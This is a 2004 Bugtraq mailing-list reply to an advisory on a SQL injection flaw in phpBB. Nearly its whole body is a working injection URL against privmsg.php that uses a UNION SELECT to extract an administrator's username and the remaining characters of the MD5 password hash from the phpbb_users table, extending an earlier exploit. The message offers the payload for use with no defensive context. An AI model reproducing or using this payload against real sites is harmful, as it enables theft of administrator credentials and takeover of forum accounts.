[34281] in bugtraq
Re: [waraxe-2004-SA#013 - Critical sql injection bug in PhpBB
daemon@ATHENA.MIT.EDU (Benjamin Tolman)
Mon Mar 29 12:28:51 2004
Date: 27 Mar 2004 23:43:56 -0000
Message-ID: <20040327234356.13346.qmail@search.securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: Benjamin Tolman <rituel@voila.fr>
To: bugtraq@securityfocus.com
In-Reply-To: <20040326193014.24220.qmail@www.securityfocus.com>
It works but only display 25 chars of the MD5, to display the last 7 chars just do :
privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20username,null,right%28user_password,7%29,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20phpbb_users%20WHERE%20user_level=1%20LIMIT%201/*
Benjamin Tolman
Rituel@voila.fr
